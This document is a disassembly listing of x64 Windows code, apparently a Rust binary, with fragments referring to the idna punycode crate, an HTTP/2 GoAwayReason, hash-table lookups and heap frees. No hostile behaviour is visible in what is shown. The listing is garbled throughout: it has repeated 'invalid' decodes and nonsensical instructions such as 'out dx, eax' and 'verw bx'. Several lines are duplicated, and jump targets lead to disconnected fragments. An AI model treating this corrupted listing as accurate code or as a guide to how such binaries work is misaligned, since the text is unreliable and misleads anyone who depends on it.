lea rdx, [0x140149c0b]
mov r8d, 1
call qword [rax + 0x18]
nop
add rsp, 0x40
pop rsi
ret
mov dword [rsp + 0x68], eax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, str.User
mov r8d, 4
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x61], 0
lea r8, [0x14012aed8]
out dx, eax
push rcx
str word [rax - 0x73]
and al, 0x50
out dx, eax
push rcx
str word [rax - 0x73]
and al, 0x50
lea rdx, [rsp + 0x68]
call fcn.140016790
mov rcx, qword [rsp + 0x50]
push 0xfffffffffe0a98e8
dec dword [rax - 0x75]
and al, 0x50
movzx edx, byte [rsp + 0x60]
push rsp
and al, 0x60
test rcx, rcx
je case.0x140019144.1467
mov al, 1
test dl, dl
jne 0x140035d61
push rsp
push rsp
mov rsi, qword [rsp + 0x58]
cmp rcx, 1
jne 0x140035d45
cmp byte [rsp + 0x61], 0
je 0x140035d45
jl 0x140035d3f
invalid
test byte [rsi + 0x34], 4
jne 0x140035d45
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140143ec0]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140035d61
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
lea edx, [0x14014d458]
lea edx, [0x14014d458]
adc dword [rax], eax
mov r8d, 1
call qword [rax + 0x18]
push rax
sbb bl, ch
invalid
push rax
sbb bl, ch
add cl, byte [rcx + 0xfc084d0]
mov eax, edx
test al, al
setne al
add rsp, 0x70
invalid
jo 0x140035dc9
mov eax, edx
test al, al
setne al
add rsp, 0x70
invalid
jo 0x140035dc9
invalid
ret
lea rcx, [rax + 1]
mov qword [rsp + 0x50], rcx
lea r9, [rax + 8]
add rax, 4
lea rcx, [0x14012ae78]
mov qword [rsp + 0x40], rcx
and al, 0x40
and al, 0x40
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x38], rcx
lea rcx, [0x14012ae58]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
lea rax, [0x14012ae98]
add byte [rax - 0x77], cl
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
lea rax, str.GoAwayReason
mov r8d, 6
mov rcx, rdx
mov rdx, rax
call fcn.140017150
nop
add rsp, 0x70
pop rsi
ret
verw bx
pop rbx
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14003615d
ret 0x14
mov rsi, rax
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 0xb
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je case.0x14001a5bd.1180
mov rcx, qword [rdi + 0x20]
mov qword [rax + 0x20], rcx
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsi], rax
invalid
lea rax, [0x14012a4e0]
invalid
mov qword [rsi + 8], rax
mov rax, rsi
mov eax, esi
mov eax, esi
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, 0x38
add byte [rdx + 0x38], bh
call fcn.140107fe0
mov ecx, 8
mov edx, 8
add byte [rax], al
add byte [rdx + 8], bh
call fcn.140107fe0
mov ecx, 8
mov edx, 0x28
call fcn.140107fe0
int3
push rbx
sub rsp, 0x70
jo 0x1400361e4
mov esi, edx
jo 0x1400361e4
mov esi, edx
mov rdi, rcx
mov r15, qword [rcx + 8]
jns 0x1400361ad
jns 0x1400361ad
mov rcx, qword [rdx]
mov edx, 1
or bh, byte [rdx + 1]
xor eax, eax
lock cmpxchg qword [r15 + 0x28], rdx
cmpxchg qword [r15 + 0x28], rdx
cmpxchg qword [r15 + 0x28], rdx
sub byte [rax - 0x7d], cl
clc
add dh, byte [rbp + rsi + 0x48]
test eax, eax
invalid
cmp rax, 2
je 0x1400361f0
test rax, rax
ror byte [rdi], 0x85
xchg ecx, eax
jne 0x140036255
add byte [rax], al
add byte [rcx - 0x75], cl
push rdi
sbb byte [rax - 0x75], cl
add dword [rax - 0x7b], ecx
sal byte [rbp + rbp + 0x48], cl
je 0x1400361fd
mov rcx, qword [rcx + 8]
mov rdx, qword [r15 + 0x18]
mov rax, qword [rcx]
test rdx, rdx
je 0x1400361fd
mov rcx, qword [rcx + 8]
cmp qword [r15 + 0x20], rcx
jne 0x140036201
cmp rdx, rax
cmp edx, eax
jne 0x140036201
xor ecx, ecx
mov eax, 1
add byte [rax], al
lock cmpxchg qword [r15 + 0x28], rcx
jne 0x140036230
jmp 0x140036255
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
add rax, 0x10
jmp 0x140036253
add dword [rax - 0x75], ecx
or byte [r8 - 0x7d], cl
rcl byte [rax], 0xeb
push rsi
mov rcx, qword [rcx + 8]
or r15b, dil
adc byte [rax - 0x77], cl
ret
call qword [rax]
mov rbx, rax
mov r14, rdx
mov rax, qword [r15 + 0x18]
test rax, rax
je 0x140036219
mov rcx, qword [r15 + 0x20]
call qword [rax + 0x18]
mov qword [r15 + 0x18], rbx
mov qword [r15 + 0x20], r14
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [r15 + 0x28], rcx
je 0x140036255
mov rax, qword [r15 + 0x18]
mov rcx, qword [r15 + 0x20]
mov qword [r15 + 0x18], 0
test rax, rax
je 0x140036338
xor edx, edx
xchg qword [r15 + 0x28], rdx
add rax, 8
call qword [rax]
mov rax, qword [r15 + 0x10]
test rax, rax
je 0x140036280
cmp rax, 1
je 0x1400362ae
cmp rax, 2
jne 0x1400362db
cmp byte [rdi + 0x20], 2
je 0x140036280
add rdi, 0x10
mov rax, qword [rdi]
mov rax, qword [rax + 0x38]
test rax, rax
js 0x1400362ba
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400362cc
mov rdx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 5
xor eax, eax
jmp 0x1400362ae
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, rdi
mov rdx, rsi
call fcn.140036350
movzx eax, al
xor edx, edx
jmp 0x1400362ae
mov ecx, 8
mov edx, 0x38
call fcn.140107fe0
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x38], rax
lea rax, str.internal_error:_entered_unreachable_code:_want_rx_value:
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, [0x14012b1d0]
lea rcx, [rsp + 0x40]
call fcn.140108280
lea rcx, [0x140115290]
call fcn.140108690
int3
ror dword [rcx + rcx*4 - 0x36], 0x48
and edx, 0xfffffff8
lea rax, [rbx + rdx*4]
xor r8d, r8d
movaps xmm0, xmmword [0x1401127e0]
nop word [rax + rax]
invalid
add byte [rdx + 0xf], al
adc dword [rbx + rax*4], eax
movups xmmword [rbx + r8*4], xmm0
movups xmmword [rbx + r8*4 + 0x10], xmm0
add r8, 8
cmp rdx, r8
jne 0x140038ee0
cmp r9, rdx
je 0x140038f0f
lea rdx, [rbx + rdi*4]
lea edx, [rbx + rdi*4]
nop dword [rax]
mov dword [rax], 0xffff
add rax, 4
cmp rax, rdx
jne 0x140038f00
test r14, r14
je 0x1400390d6
mov rsi, qword [rcx + 0x20]
imul rax, r14, 0x68
add rax, rsi
mov qword [rsp + 0x20], rax
movzx eax, word [rcx + 0x58]
movzx r12d, ax
xor r13d, r13d
jmp 0x140038f59
mov word [rbx + r10*4], bp
mov rcx, r14
mov word [rbx + r10*4 + 2], ax
cmp rsi, qword [rsp + 0x20]
je 0x1400390d6
mov rbp, r13
mov r15, rsi
add rsi, 0x68
inc r13
lea rdx, [r15 + 0x40]
mov r14, rcx
call fcn.1400385d0
mov r8d, eax
and r8d, r12d
mov word [r15 + 0x60], ax
xor edx, edx
nop
mov r10, r8
mov r8d, 0
cmp r10, rdi
jae 0x140038f80
cmp word [rbx + r10*4], 0xffff
je 0x140038f40
movzx r8d, word [rbx + r10*4 + 2]
and r8d, r12d
mov r9d, r10d
sub r9d, r8d
mov r8d, r12d
and r8d, r9d
cmp r8, rdx
jb 0x140038fc0
inc rdx
inc r10
mov r8, r10
jmp 0x140038f80
mov rcx, r14
nop word cs:[rax + rax]
mov rdx, r10
mov r10d, 0
cmp rdx, rdi
jae 0x140038fd0
movzx r9d, word [rbx + rdx*4]
cmp r9w, 0xffff
je 0x140039010
movzx r8d, word [rbx + rdx*4 + 2]
mov word [rbx + rdx*4], bp
mov word [rbx + rdx*4 + 2], ax
inc rdx
mov eax, r8d
mov ebp, r9d
mov r10, rdx
jmp 0x140038fd0
mov word [rbx + rdx*4], bp
mov r10, rdx
mov word [rbx + r10*4 + 2], ax
cmp rsi, qword [rsp + 0x20]
jne 0x140038f59
jmp 0x1400390d6
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
pop rdi
ret
add byte [rax], al
call fcn.140107fe0
int3
or dword [rbp + 9], esi
mov rcx, qword [rax + 0x58]
call fcn.140039380
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x140039373
lock dec qword [r8 + 8]
jne 0x140039373
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
nop
add rsp, 0x20
pop rsi
ret
lea rdx, [0x14014427c]
mov r8d, 5
mov rcx, rax
jmp fcn.140013870
test dl, dl
jne 0x14003a90e
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x14003a8d1
cmp byte [rsp + 0x31], 0
je 0x14003a8d1
test byte [rsi + 0x34], 4
jne 0x14003a8d1
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140143ec0]
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14003a90e
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14003a90e
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x106bf2
mov r8d, 7
add rsp, 0x40
pop rsi
jmp rax
test al, al
setne al
add rsp, 0x40
pop rsi
ret
mov r10, qword [rsp + 0x90]
mov rax, qword [rcx]
mov rsi, qword [rcx + 8]
mov r11, r8
shr r11, 0x39
movd xmm0, r11d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor ebx, ebx
pcmpeqd xmm1, xmm1
mov r14, r8
xor r15d, r15d
and r14, rsi
movdqu xmm2, xmmword [rax + r14]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r13d, xmm3
nop word cs:[rax + rax]
test r13w, r13w
je 0x14003ac70
tzcnt ebp, r13d
lea r12d, [r13 - 1]
and r12d, r13d
mov r13d, r12d
add rbp, r14
and rbp, rsi
shl rbp, 5
mov r12, rax
sub r12, rbp
cmp qword [r12 - 0x20], rdx
jne 0x14003ac30
cmp qword [r12 - 0x18], r8
jne 0x14003ac30
jmp 0x14003acaf
cmp r15, 1
mov r15d, 1
je 0x14003ac93
pmovmskb edi, xmm2
xor r15d, r15d
test edi, edi
setne r15b
tzcnt edi, edi
add rdi, r14
and rdi, rsi
pcmpeqb xmm2, xmm1
pmovmskb ebp, xmm2
test ebp, ebp
jne case.0x14001a5bd.1207
add r14, rbx
add r14, 0x10
add rbx, 0x10
jmp 0x14003ac10
mov rax, qword [r12 - 0x10]
mov rdx, qword [r12 - 8]
mov qword [r12 - 0x10], r9
add r12, 0xfffffffffffffff8
mov qword [r12], r10
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r14, r8
mov rbx, rdx
call fcn.140108fc0
mov rcx, rsi
mov rdx, rbx
mov r8, r14
mov r9, rdi
jmp 0x14003abdb
movzx ebx, byte [rax + rdi]
test bl, bl
js 0x14003ad11
movdqa xmm0, xmmword [rax]
pmovmskb edi, xmm0
tzcnt edi, edi
movzx ebx, byte [rax + rdi]
and bl, 1
movzx ebx, bl
sub qword [rcx + 0x10], rbx
lea rbx, [rdi - 0x10]
and rbx, rsi
mov byte [rax + rdi], r11b
mov byte [rax + rbx + 0x10], r11b
inc qword [rcx + 0x18]
shl rdi, 5
mov r12, rax
sub r12, rdi
neg rdi
neg edi
neg edi
mov qword [rax + rdi - 0x20], rdx
mov qword [r12 - 0x18], r8
mov qword [r12 - 0x10], r9
add r12, 0xfffffffffffffff8
xor eax, eax
jmp 0x14003acc2
mov qword [rsp + 0x38], r15
lea r9d, [rdi + 0x1a]
inc r13
mov r10d, edi
neg r10d
mov r11d, 0x24
mov r15d, 1
mov ecx, esi
movzx eax, byte [r13 - 1]
lea edx, [rax - 0x30]
cmp dl, 0xa
jb 0x14003f460
nop word cs:[rax + rax]
lea edx, [rax - 0x41]
cmp dl, 0x1a
jb 0x14003f464
add al, 0x9f
mov edx, eax
cmp al, 0x1a
jb 0x14003f464
jmp 0x14003f712
add al, 0xea
mov edx, eax
test r15d, r15d
je 0x14003f732
movzx r8d, dl
mov eax, ecx
not eax
xor edx, edx
div r15d
cmp eax, r8d
jb 0x14003f712
mov eax, r15d
imul eax, r8d
add ecx, eax
lea eax, [r10 + r11]
cmp r11d, r9d
mov edx, 0x1a
cmovae eax, edx
cmp r11d, edi
mov edx, 1
cmovbe eax, edx
cmp eax, r8d
ja 0x14003f4f0
mov r8d, 0x24
sub r8d, eax
mov eax, r8d
mul r15d
jo 0x14003f712
cmp r13, r14
je 0x14003f712
add r11d, 0x24
imul r15d, r8d
inc r13
movzx eax, byte [r13 - 1]
lea edx, [rax - 0x30]
cmp dl, 0xa
jae 0x14003f440
jmp 0x14003f460
mov r11d, dword [rsp + 0x68]
inc r11d
je 0x14003fda0
mov eax, ecx
sub eax, esi
test esi, esi
mov r8d, 2
mov edx, 0x2bc
cmove r8d, edx
xor edi, edi
xor edx, edx
div r8d
mov r8d, eax
xor edx, edx
div r11d
add eax, r8d
cmp eax, 0x1c8
mov r9, qword [rsp + 0x58]
mov r10d, 0xd41d41d5
jb 0x14003f569
xor edi, edi
nop dword [rax]
mov edx, eax
imul rdx, r10
shr rdx, 0x20
mov r8d, eax
sub r8d, edx
shr r8d, 1
add r8d, edx
shr r8d, 5
add edi, 0x24
cmp eax, 0x3e57
mov eax, r8d
ja 0x14003f540
jmp 0x14003f56c
mov r8d, eax
lea eax, [r8*4]
lea eax, [rax + rax*8]
add r8d, 0x26
xor edx, edx
div r8w
mov r8d, eax
mov eax, ecx
xor edx, edx
div r11d
add r12d, eax
add r12d, eax
jb 0x14003f712
mov eax, r12d
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
jb 0x14003f712
mov esi, edx
mov dword [rsp + 0x68], r11d
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
mov r15d, edx
cmp qword [rsp + 0x38], 0
je 0x14003f5f0
xor eax, eax
jmp 0x14003f5d9
add rax, 0x10
cmp rbp, rax
je 0x14003f5f0
mov rdx, qword [rcx + rax]
cmp rdx, r15
jb 0x14003f5d0
inc rdx
mov qword [rcx + rax], rdx
jmp 0x14003f5d0
mov dword [rsp + 0x78], r12d
mov rdx, qword [rsp + 0x38]
mov r12, qword [rsp + 0x60]
cmp rdx, qword [r12]
jne 0x14003f628
mov rcx, r12
mov word [rsp + 0x70], r8w
call fcn.1400469a0
movzx r8d, word [rsp + 0x70]
mov rdx, qword [rsp + 0x38]
mov r9, qword [rsp + 0x58]
mov rcx, qword [r12 + 8]
movzx eax, r8w
add edi, eax
mov rax, rdx
shl rax, 4
mov qword [rcx + rax], r15
mov r8d, dword [rsp + 0x78]
mov dword [rcx + rax + 8], r8d
lea r15, [rdx + 1]
mov qword [r12 + 0x10], r15
mov r12d, r8d
inc esi
add rbp, 0x10
cmp r13, r14
mov qword [rsp + 0xa8], r15
jne 0x14003f405
cmp rdx, 0x14
jae 0x14003f73e
cli
adc al, 0xf
or esi, 0
add byte [rax], al
test rdx, rdx
je 0x14003f697
mov r8d, 1
mov rdx, r15
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov rsi, rcx
call fcn.14003fef0
mov rcx, rsi
mov r9, qword [rsp + 0x58]
jmp 0x14003f697
lea rax, [rbx + r9]
add r9, r15
mov rdx, qword [rsp + 0x30]
mov qword [rdx], rbx
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], r15
xorps xmm0, xmm0
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], r9
jmp 0x14003f71e
mov rax, qword [rsp + 0x30]
mov qword [rax], 0
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.1401084f0
mov qword [rsp + 0x40], rcx
lea rax, [r15*8]
movabs rdx, 0x7ffffffffffffff0
and rdx, rax
movzx eax, byte [0x140182310]
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14003fed5
mov rbp, rax
movzx eax, byte [0x140182310]
mov edx, 0x100
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14003fee1
mov r13, rax
mov eax, 1
sub rax, qword [rsp + 0x38]
mov qword [rsp + 0x88], rax
mov r10, qword [rsp + 0x40]
lea rax, [r10 + 0x20]
mov qword [rsp + 0x80], rax
lea rax, [r10 - 0x10]
mov qword [rsp + 0xa0], rax
mov eax, 0x10
mov qword [rsp + 0x90], rax
xor esi, esi
xor r14d, r14d
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbp
jmp 0x14003f7f7
mov r14d, 1
mov rsi, qword [rsp + 0x98]
cmp rsi, qword [rsp + 0x38]
ja 0x14003fd6e
mov rax, r15
sub rax, rsi
mov r9, rsi
shl r9, 4
lea rcx, [r10 + r9]
cmp rax, 2
jae 0x14003f887
mov r8, rax
lea rax, [r8 + rsi]
mov rdi, rax
sub rdi, rsi
jb 0x14003fe5e
cmp rax, r15
ja 0x14003fe5e
cmp rax, qword [rsp + 0x38]
ja 0x14003f95e
cmp r8, 0xa
jae 0x14003f95e
lea rdi, [rsi + 0xa]
cmp rdi, r15
cmovae rdi, r15
cmp rsi, 0xfffffffffffffff6
jae 0x14003fe93
cmp r8, 1
adc r8, 0
mov qword [rsp + 0x98], rdi
sub rdi, rsi
mov rdx, rdi
call fcn.14003fef0
cmp r14, qword [rsp + 0x90]
je 0x14003f974
mov r10, qword [rsp + 0x40]
jmp 0x14003f9d3
mov r10, qword [rcx + 0x10]
cmp r10, qword [rcx]
jae 0x14003fd07
mov edx, 2
cmp rax, 2
je 0x14003f8e2
mov rdx, qword [rsp + 0x88]
lea r8, [rdx + rsi]
add r9, qword [rsp + 0x80]
mov edx, 2
nop dword [rax + rax]
mov r11, r10
mov r10, qword [r9]
cmp r10, r11
jae 0x14003f8e2
lea r11, [r8 + rdx]
inc r11
inc rdx
add r9, 0x10
cmp r11, 2
jne 0x14003f8c0
mov rdx, rax
mov rax, rdx
add rax, rsi
jb 0x14003fec3
cmp rax, r15
ja 0x14003feb1
mov r8d, 1
cmp rdx, 2
jb 0x14003f815
mov r8, rax
mov rax, rdx
shr rax, 1
mov rdi, r8
shl r8, 4
add r8, qword [rsp + 0xa0]
mov r9, rcx
nop word cs:[rax + rax]
mov r10, qword [r9]
mov r11d, dword [r9 + 8]
movups xmm0, xmmword [r8]
movups xmmword [r9], xmm0
mov qword [r8], r10
mov dword [r8 + 8], r11d
add r9, 0x10
add r8, 0xfffffffffffffff0
dec rax
jne 0x14003f930
mov r8, rdx
mov rax, rdi
jmp 0x14003f815
mov qword [rsp + 0x98], rax
cmp r14, qword [rsp + 0x90]
jne 0x14003f87d
mov rdx, r14
shl rdx, 5
movzx eax, byte [0x140182310]
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14003fea5
mov r12, r14
mov r14, rax
lea rax, [r12 + r12]
mov qword [rsp + 0x90], rax
mov r8, r12
shl r8, 4
mov rcx, r14
mov rdx, r13
call fcn.140106250
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov r13, r14
mov r10, qword [rsp + 0x40]
mov r14, r12
invalid
out 0x4c, al
mov eax, esi
mov rax, r14
shl rax, 4
mov qword [r13 + rax], rdi
mov qword [r13 + rax + 8], rsi
inc r14
mov rax, r14
cmp r14, 2
mov qword [rsp + 0xb0], r13
jae 0x14003fa85
jmp 0x14003f7e4
dec dword [rax - 0x75]
insb byte [rdi], dx
and al, 0x50
mov rbp, qword [rsp + 0x50]
mov rdx, rbp
mov rax, qword [rsp + 0xb0]
mov rdi, qword [rsp + 0xb8]
add rdi, rax
add r12, rax
sub r13, rdx
mov rcx, r14
mov r8, r13
mov r13, rax
call fcn.140106250
mov rax, qword [rsp + 0xc0]
add rax, rsi
mov qword [r12], rax
mov rax, qword [rsp + 0x70]
mov qword [r12 + 8], rax
lea rdx, [rdi + 0x10]
mov rax, qword [rsp + 0x68]
not rax
mov r8, qword [rsp + 0x60]
add r8, rax
shl r8, 4
mov rcx, rdi
call fcn.140106250
mov rax, qword [rsp + 0x78]
cmp rax, 1
mov r10, qword [rsp + 0x40]
mov r15, qword [rsp + 0xa8]
jbe 0x14003f7de
mov r14, rax
lea r11, [rax - 1]
mov rcx, r11
shl rcx, 4
mov rax, qword [r13 + rcx]
mov rcx, qword [r13 + rcx + 8]
add rcx, rax
cmp rcx, r15
je 0x14003fb00
mov rdx, r14
shl rdx, 4
mov r8, qword [rdx + r13 - 0x20]
loopne 0x14003fafb
cmp eax, eax
loopne 0x14003fafb
cmp eax, eax
jbe 0x14003fb00
cmp r14, 2
je 0x14003fd58
lea rsi, [r14 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [r13 + rcx]
lea r9, [r8 + rax]
cmp rcx, r9
jbe 0x14003fb16
cmp r14, 3
jbe 0x14003fd63
add r8, rcx
cmp qword [rdx + r13 - 0x40], r8
jbe 0x14003fb16
jmp 0x14003f7e4
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7d], cl
inc byte [rdx]
cmp r14, 2
je 0x14003fb1b
lea rsi, [r14 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [r13 + rcx]
cmp rcx, rax
jb 0x14003fb1f
lea rsi, [r14 - 2]
cmp r14, rsi
jbe 0x14003fdf2
lea r12, [rsi + 1]
cmp r14, r12
jbe 0x14003fdac
mov qword [rsp + 0x68], rsi
shl rsi, 4
mov rcx, qword [r13 + rsi + 8]
shl r12, 4
mov rax, qword [r13 + r12]
mov rdi, qword [r13 + r12 + 8]
add rdi, rax
mov rbp, rdi
sub rbp, rcx
jb 0x14003fe38
mov qword [rsp + 0x60], r14
cmp rdi, r15
ja 0x14003fe47
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x78], r11
mov qword [rsp + 0xb8], rsi
mov rsi, qword [r13 + rsi]
mov qword [rsp + 0x70], rcx
mov r14, rcx
shl r14, 4
add r14, r10
mov r13, rsi
shl r13, 4
lea r15, [r14 + r13]
shl rdi, 4
mov rbx, rbp
sub rbx, rsi
cmp rbx, rsi
jae 0x14003fc60
mov r13, rbx
shl r13, 4
mov rbp, qword [rsp + 0x50]
mov rcx, rbp
mov rdx, r15
mov r8, r13
call fcn.140106250
add r13, rbp
test rsi, rsi
jle 0x14003fcf0
test rbx, rbx
jle 0x14003fcf0
add rdi, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0x48]
nop word cs:[rax + rax]
mov rax, r15
mov rcx, r13
mov rdx, qword [r13 - 0x10]
mov r8, qword [r15 - 0x10]
cmp rdx, r8
mov r15d, 0
sbb r15, r15
cmp rdx, r8
mov r13d, 0
adc r13, 0xffffffffffffffff
shl r15, 4
add r15, rax
shl r13, 4
add r13, rcx
cmp rdx, r8
mov rax, r13
cmovb rax, r15
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
cmp r15, r14
jbe 0x14003fc53
add rdi, 0xfffffffffffffff0
cmp r13, rbp
ja 0x14003fc00
mov r14, r15
jmp 0x14003fa06
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
mov rdx, r14
mov r8, r13
call fcn.140106250
add r13, rbx
test rsi, rsi
jle 0x14003fcf5
cmp rbp, rsi
mov rbx, qword [rsp + 0x48]
jle 0x14003fa01
add rdi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov rdx, rbp
nop word cs:[rax + rax]
mov r8, rdx
mov rcx, qword [r15]
xor edx, edx
xor eax, eax
cmp rcx, qword [r8]
setae dl
setb cl
mov r9, r8
cmovb r9, r15
movups xmm0, xmmword [r9]
movups xmmword [r14], xmm0
add r14, 0x10
shl edx, 4
add rdx, r8
cmp rdx, r13
jae 0x14003fa09
mov al, cl
shl eax, 4
add r15, rax
cmp r15, rdi
jb 0x14003fca0
jmp 0x14003fa09
mov r14, r15
jmp 0x14003fcfa
mov rbp, qword [rsp + 0x50]
mov rdx, rbp
mov rbx, qword [rsp + 0x48]
jmp 0x14003fa09
mov r8d, 2
cmp rax, 2
je 0x14003f811
mov rdx, qword [rsp + 0x88]
add rdx, rsi
add r9, qword [rsp + 0x80]
nop word [rax + rax]
mov r11, r10
mov r10, qword [r9]
cmp r10, r11
jb 0x14003f811
lea r11, [rdx + r8]
inc r11
inc r8
add r9, 0x10
cmp r11, 2
jne 0x14003fd30
jmp 0x14003f80e
mov r14d, 2
jmp 0x14003f7e4
mov r14d, 3
jmp 0x14003f7e4
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
call rsi
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbp
call rsi
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x58]
jmp 0x14003f697
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.1401084f0
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 1
mov qword [rsp + 0xd8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xe0], xmm0
lea rdx, [0x14014b7c0]
lea rcx, [rsp + 0xc8]
call fcn.140108280
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 1
mov qword [rsp + 0xd8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xe0], xmm0
lea rdx, [0x14014b7a8]
lea rcx, [rsp + 0xc8]
call fcn.140108280
lea r8, [0x14014b7d8]
mov rdx, rdi
call fcn.140108530
lea r8, [0x14014b7d8]
mov rcx, rdi
mov rdx, qword [rsp + 0xa8]
call fcn.140108340
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, [0x14014b868]
mov edx, 0x2c
call fcn.140108350
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
mov r8, r13
mov r9, rsi
call fcn.1401087e0
lea r8, [0x14014b880]
mov rcx, rsi
mov rdx, rdi
call fcn.140108530
lea rcx, [0x14014b820]
call fcn.140108690
lea r8, [0x14014b790]
mov rcx, rax
mov rdx, r15
call fcn.140108340
lea r8, [0x14014b790]
mov rcx, rsi
mov rdx, rax
call fcn.140108530
lea rcx, [0x14014b7f0]
call fcn.140108690
lea rcx, [0x14014b808]
call fcn.140108690
int3
cmp dword [rsi + 0x60], 0
je 0x140040360
test rdx, rdx
je 0x140040415
mov rcx, qword [rsi + 0x70]
mov r8, qword [rsi + 0x78]
cmp rdx, 1
jne 0x140040ab7
cmp rax, r8
jb 0x140040af0
mov qword [rsi + 0x78], 0
jmp 0x14004039c
test rdx, rdx
je 0x140040415
movzx r8d, word [rsi + 0x64]
movzx ecx, r8w
cmp rdx, 1
jne 0x140040ac6
cmp r8w, 4
ja 0x140040ba2
cmp rax, rcx
jb 0x140040aeb
test r8w, r8w
je 0x14004039c
mov word [rsi + 0x64], 0
mov qword [rsi], 0
jmp 0x140040415
movzx ebp, r15w
imul r12d, ebp, 0x6f75
shr r12d, 0x18
lea edx, [r12 + 0x1100]
mov rcx, rbx
call fcn.1400415b0
imul eax, r12d, 0x24c
sub r15d, eax
movzx eax, r15w
imul edx, eax, 0x925
shr edx, 0x10
add edx, 0x1161
mov rcx, rbx
call fcn.1400415b0
mov eax, ebp
shr eax, 2
imul eax, eax, 0x4925
shr eax, 0x11
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
add ecx, eax
sub bp, cx
je 0x140040415
add ebp, 0x11a7
movzx edx, bp
mov rcx, rbx
call fcn.1400415b0
